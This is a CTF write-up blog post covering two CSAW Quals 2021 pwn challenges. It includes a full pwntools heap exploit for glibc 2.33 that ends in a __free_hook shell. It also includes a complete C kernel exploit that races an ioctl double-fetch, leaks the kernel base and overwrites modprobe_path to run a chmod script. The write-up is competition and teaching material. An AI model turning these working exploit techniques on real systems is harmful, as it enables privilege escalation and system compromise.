CSAW Qualifications 2021 - Word Games and Krypto

pwn heap note kernel

CSAW Quals 2021 Word_Games and Krypto Writeups

This year, the Crusaders of Rust achieved the third overall spot in CSAW Quals and qualified for the finals once again. PPP and Sigpwny took 1st and 2nd respectively. I had fun with the pwn challenges working with ryaagard and Day, so I thought I should make some very brief writeups for my two favorite ones.

Word_Games

Finally, a heap note! I really don't understand all the heap note hate these days. I would much rather take a heap note over some toxic/quirky ROP or goofy format string challenge. Anyways, we were given glibc 2.33 (which I don't believe had huge changes from 2.32). I ended up using an Arch Docker to debug this binary due to linker issues; in the end, I wasn't able to use the given libc no matter what (it was asking me for ld_android.so?), but with Arch's environment, it was close enough to remote and some bruteforcing would fix the issue with a leak's offset.

The binary itself has two doubly linked lists. The first one is a word doubly linked list, with a next, prev, and data pointer. The second one was a "fun" word doubly linked list, and it gets pointed to by a favorite word struct, which holds a pointer to the aforementioned list and a pointer to the program's favorite word.

Creating a new chunk allocates a chunk size for data based on a provided unsigned int, and then a new node in the word list gets allocated, linked in the end, and stores the your data pointer. The program checks if this is a fun word to add to the fun words list, where it stores a pointer to a strdup version of your data. To be a fun word, you must have the string fun, and the favorite word struct must have a non null pointer to a doubly linked list. Then, if the input has the longest string length, it gets strdup'd and the resulting pointer is stored in the favorite word struct with the old one being freed.

Deletion just clears the word doubly linked list. The show option only shows the favorite word. One thing to note is that if more than 3 fun words have been created, the fun list gets cleared as well as the favorite word, with it's pointer to the fun list being nulled (thereby blocking future things going into the fun list). However, this logic is also where the main bug lies since the program first frees the structure before freeing the favorite word pointer, which conveniently lies in the second qword. The pointer to the favorite word structure also isn't nulled, so you can keep showing data given a valid pointer in the second qword.

Before libc 2.34, the second qword of a freed chunk going into tcache always holds a pointer to the tcache_perthread_struct, which holds tcache counts and pointers. This means that if you manage to perform heap feng shui to fill the 0x290 tcache, and have the current favorite word be in a 0x290 chunk, you can cause the glibc allocator to free the tcache_perthread_struct into the unsorted bin. This bug is very powerful. You can get a libc leak from the unsorted bin pointers, and also allocate chunks over the tcache_perthread_struct allowing you to control future tcache allocations.

Once you achieve this primitive however, you do need to make an allocation to fix the tcache_perthread_struct, which had the earlier tcache chunk counts (including the sizes used for the node allocations) messed up by the libc pointers. Afterwards, you can get further allocations overlapping it by requesting sizes that have not gone into the tcache or fastbin, and overwrite counts as well as pointers so you can achieve arbitrary allocations. Of course, since this is post glibc 2.32, all allocations are checked for 16 byte alignment, so do keep that in mind. With an arbitrary allocation, I just targeted the classic __free_hook (which, along with the other hooks, also fell victim to the 2.34 update) to achieve a shell after triggering a delete with the string /bin/sh in some word chunk. Here is my exploit:

from pwn import *

elf = ELF('./word_games')
libc = ELF('./libc-2.33.so')

OFFSET = 0x1c0a60
p = remote('pwn.chal.csaw.io', 5001)

def wait():
	p.recvrepeat(0.3)

def create(size, data):
	wait()
	p.sendline('1')
	wait()
	p.sendline(str(size))
	wait()
	p.sendline(data)

def delete():
	wait()
	p.sendline('2')

def show():
	wait()
	p.sendline('3')

create(0x280, 'A' * 0x278)
create(0x280, 'A' * 0x278)
create(0x280, 'A' * 0x278)

create(0x280, 'A' * 0x275 + 'fun')
create(0x280, 'A' * 0x278 + 'fun')
delete()
create(0x20, '/bin/sh\x00')
create(8, 'lolfun')
create(8, 'lolfun')
show()
p.recvuntil('My favorite word so far is: ')
libc.address = u64(p.recv(6).ljust(8, '\x00'))- OFFSET
log.info('libc leak: 0x%x' % libc.address) 


create(0x90, '\x00' * (0x20) + p16(1) * 4 + '\x00' * 0x60)
create(0x100, '\x00' * 0x40 + p64(libc.symbols['__free_hook'] - 0x10) * 4)
log.info('about to pop shell')
create(0x120, '\x00'*8 + '/bin/sh\x00' + p64(libc.symbols['system']))
log.info('shelling')
delete()
p.interactive()

Krypto

Finally, a kernel challenge! I have to admit that I put this off for a while because the distribution of a 1.9 gb full on Ubuntu install that required kvm to boot at bearable speeds made it seem like a pain. In the end, I just repackaged it into a standard initramfs + busybox image with required kernel modules and booted with the provided Ubuntu's kernel, just like in normal kernel challenges. One thing to note is that this challenge did not have SMEP, SMAP, and KPTI, which should drastically simplify exploitation.

Looking at the source:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>
#include <crypto/rng.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Nick Gregory");
MODULE_DESCRIPTION("/dev/krypto");
MODULE_VERSION("0.1");

#define KRYPTO_RNG_CMD 0x1337

struct rng_params {
    char *buf;
    size_t buf_len;
};

static int krypto_open(struct inode *inode, struct file *file)
{
    struct crypto_rng *rng = NULL;

    rng = crypto_alloc_rng("ansi_cprng", 0, 0);
    if (IS_ERR(rng)) {
        return -ENOMEM;
    }

    // fun fact! the kernel docs don't include this so the example doesn't actually work!
    char seed[32] = {0};
    crypto_rng_reset(rng, seed, sizeof(seed));

    file->private_data = rng;

    return 0;
}

static int krypto_rng(struct file *file, struct rng_params *params)
{
    char *kbuf = NULL;
    int ret = 0;
    size_t len = params->buf_len;

    if (len == 0 || len > 0x1000) {
        return -EINVAL;
    }

    kbuf = kzalloc(len, GFP_KERNEL);
    if (!kbuf) {
        return -ENOMEM;
    }

    ret = crypto_rng_get_bytes(file->private_data, kbuf, len);

    if (ret < 0) {
        goto out_free;
    }

    memcpy(params->buf, kbuf, params->buf_len);

out_free:
    kfree(kbuf);
    return ret;
}

static long krypto_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
    switch (cmd) {
    case KRYPTO_RNG_CMD:
        return krypto_rng(file, (struct rng_params *)arg);
    default:
        return -EINVAL;
    }
}

static int krypto_release(struct inode *inode, struct file *file)
{
    crypto_free_rng(file->private_data);
    return 0;
}

static struct file_operations krypto_fops = {
    .owner          = THIS_MODULE,
    .open           = krypto_open,
    .release	    = krypto_release,
    .unlocked_ioctl = krypto_ioctl,
};

static struct miscdevice krypto_device = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "krypto",
    .fops = &krypto_fops,
    .mode = S_IRUGO,
};

static int __init mod_init(void)
{
    return misc_register(&krypto_device);
}

static void __exit mod_exit(void)
{
    misc_deregister(&krypto_device);
}

module_init(mod_init);
module_exit(mod_exit);

There are three main bugs here. First and foremost is the predictability of the prng, which begins with the same seed. Second, the pointers passed in the ioctl aren't verified for validity. Someone can pass in valid kernel land pointers and just start copying prng generated data into other parts of kernelland. Lastly, in the ioctl, there is also a TOCTOU on the size parameter. You can achieve an OOB memcpy by abusing a race condition to change the size in your request struct after it checks the size and generates the data, but before it performs the final memcpy (as it dereferencs userland addresses more than once).

What's the exploit strategy then? Well, first, one would need to race the ioctl to achieve an OOB memcpy. I chose to request allocations in the kmalloc-1024 slab, so I can spray tty_struct by opening /dev/ptmx. As I discussed in my Rope2 writeup, this provides us with a kernel base leak via ptm_unix98_ops pointer.

Now, what can we do with a leak from the OOB memcpy? Technically you can try to overwrite function pointers to go back to userspace and etc., but that would require more leaks (probably heap leaks) and some spraying luck as Ubuntu kernels are compiled with slab randomization. A much easier target to go for is modprobe_path, which the kernel uses to call a userland binary upon encountering a binary with an unknown header. Since this prng with a known seed is 100% deterministic, we can just have it generate byte sized random values, and pre-determine which ones we want, which we will then write to modprobe_path.

Here is the final exploit:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define KRYPTO_RNG_CMD 0x1337

typedef struct {
    char *buf;
    size_t buf_len;
}req_t;

void hexprint(char *buffer, unsigned int bytes)
{
    int dqwords = ((bytes + 0x10 - 1)&0xfffffff0) / 0x10;
    int qwords = dqwords * 2;
    for (int i = 0; i < qwords; i+=2)
    {
        printf("0x%04llx: 0x%016llx 0x%016llx\n", (i * 0x8), ((unsigned long long*)buffer)[i], ((unsigned long long*)buffer)[i+1]);
    }
    puts("-------");
    return;
}

int ioctl(int fd, unsigned long request, unsigned long param)
{
    return syscall(16, fd, request, param);
}

int krypto_rng(int fd, req_t *param)
{
    return ioctl(fd, KRYPTO_RNG_CMD, (unsigned long)param);
}

void debug()
{
    puts("pause");
    getchar();
    return;
}

void modprobe_hax()
{
    char filename[65];
    memset(filename, 0, sizeof(filename));
    int fd = open("/tmp/root", O_RDWR | O_CREAT);
    char root[] = "\xff\xff\xff\xff";
    write(fd, root, sizeof(root));
    close(fd);
    char w[] = "#!/bin/sh\nchmod -R 777 /home/vagrant\n";
    system("chmod 777 /tmp/root");
    fd = open("/tmp/w", O_RDWR | O_CREAT);
    write(fd, w, sizeof(w));
    close(fd);
    system("chmod 777 /tmp/w");
    system("/tmp/root");
    return;
}

int stop = 0;

void *race(void *arg)
{
    asm volatile("mov rax, 0x2000;"
                 "mov rbx, %0;"
                 "racing:"
                 "xchg qword ptr [rbx], rax;"
                 "jmp racing;"
                 :
                 : "r" (arg)
                 : "rax", "rbx"
                 );
    return 0;
}

void test_rng()
{
    int fd = open("/dev/krypto", O_RDONLY);
    puts("attempting to create /tmp/w");
    char target[7] = "/tmp/w\x00";
    char character;
    req_t temp = {.buf = (char *)&character, .buf_len = 1};
    int counter = 0;
    uint32_t rounds = 0;
    while (counter < sizeof(target))
    {
        int result = krypto_rng(fd, (req_t *)&temp);
        if (result < 0)
        {
            perror("rng error");
            exit(-1);
        }
        if (character == target[counter])
        {
            if (character != '\x00')
            {
                printf("%c generated after round %u\n", character, rounds);
            }
            else
            {
                printf("0x00 generated after round %u\n", rounds);
            }
            counter++;
        }
        rounds++;
    }
    return;
}

int main(int argc, char **argv, char **envp)
{
    if (argc > 1)
    {
        puts("testing rng series");
        test_rng();
        return 0;
    }
    int fd = open("/dev/krypto", O_RDONLY);
    if (fd < 0)
    {
        perror("opening device driver failed");
        exit(-1);
    }
    #define TARGET_SIZE 0x400
    char buffer[0x2000];
    char clean[0x2000 - TARGET_SIZE];
    pthread_t thread;
    uint64_t ptm_unix_98_ops, kbase, modprobe_path;
    ptm_unix_98_ops = 0;

    memset(buffer, 0, sizeof(buffer));
    memset(clean, 0, sizeof(clean));

    req_t evil = {.buf=buffer, .buf_len = TARGET_SIZE};


    for (int i = 0; i < 0x50; i++)
    {
        open("/dev/ptmx", O_RDONLY);
    }

    pthread_create(&thread, 0, race, (void *)&(evil.buf_len));


    while(!stop)
    {
        int result = krypto_rng(fd, (req_t *)&evil);
        if (result < 0)
        {
            puts("fail");
        }
        else
        {
            puts("good");
        }
        if (memcmp((void *)buffer + TARGET_SIZE, clean, sizeof(clean)))
        {
            puts("successful race");
            hexprint(buffer, 0x2000);
            for (int i = 0; i < 0x2000 / 8; i++)
            {
                if ((*(uint64_t *)(buffer + TARGET_SIZE + i * 8) & 0xfff) == 0x900)
                {
                    ptm_unix_98_ops = *(uint64_t *)(buffer + TARGET_SIZE + i * 8);               
                }
            }
            stop = 1;
        }
    }
    pthread_cancel(thread);
    if (!ptm_unix_98_ops)
    {
        puts("bad leaks");
        exit(-1);
    }
    kbase = ptm_unix_98_ops - 0x10e6900ull;
    modprobe_path = kbase + 0x165f860ull;
    printf("[+] ptm_unix_98_ops: 0x%llx\n", ptm_unix_98_ops);
    printf("[+] kbase: 0x%llx\n", kbase);
    printf("[+] modprobe_path: 0x%llx\n", modprobe_path);
    close(fd);
    puts("resetting rng context");
    close(fd);
    fd = open("/dev/krypto", O_RDONLY);
    /**
    / generated after round 343
    t generated after round 389
    m generated after round 1014
    p generated after round 1023
    / generated after round 1079
    w generated after round 1121
    0x00 generated after round 1380
    */
    int rounds[] = {343, 389, 1014, 1023, 1079, 1121, 1380};
    int ctr = 0;
    int temp_char;
    req_t temp = {.buf = (char *)&temp_char, .buf_len = 1};
    req_t pwn = {.buf = (char *)modprobe_path, .buf_len = 1};
    puts("overwriting modprobe_path");
    for (int i = 0; i < sizeof(rounds) / sizeof(int); i++)
    {
        while (ctr < rounds[i])
        {
            int result = krypto_rng(fd, (req_t *)&temp);
            if (result < 0)
            {
                perror("rng error");
                exit(-1);
            }
            ctr++;
        }
        int result = krypto_rng(fd, (req_t *)&pwn);
        if (result < 0)
        {
            perror("rng error");
            exit(-1);
        }
        pwn.buf++;
        ctr++;
    }
    modprobe_hax();
}

In conclusion, I had quite a lot of fun working on these two pwn challenges. The other somewhat noteworthy challenge (which Day did the majority of the work for) was the C++ decompression pwn challenge where you had to abuse the shortbuf optimization of the basic_string to achieve a stack overflow. Feel free to let me know if you have any questions or comments that you would like to point out!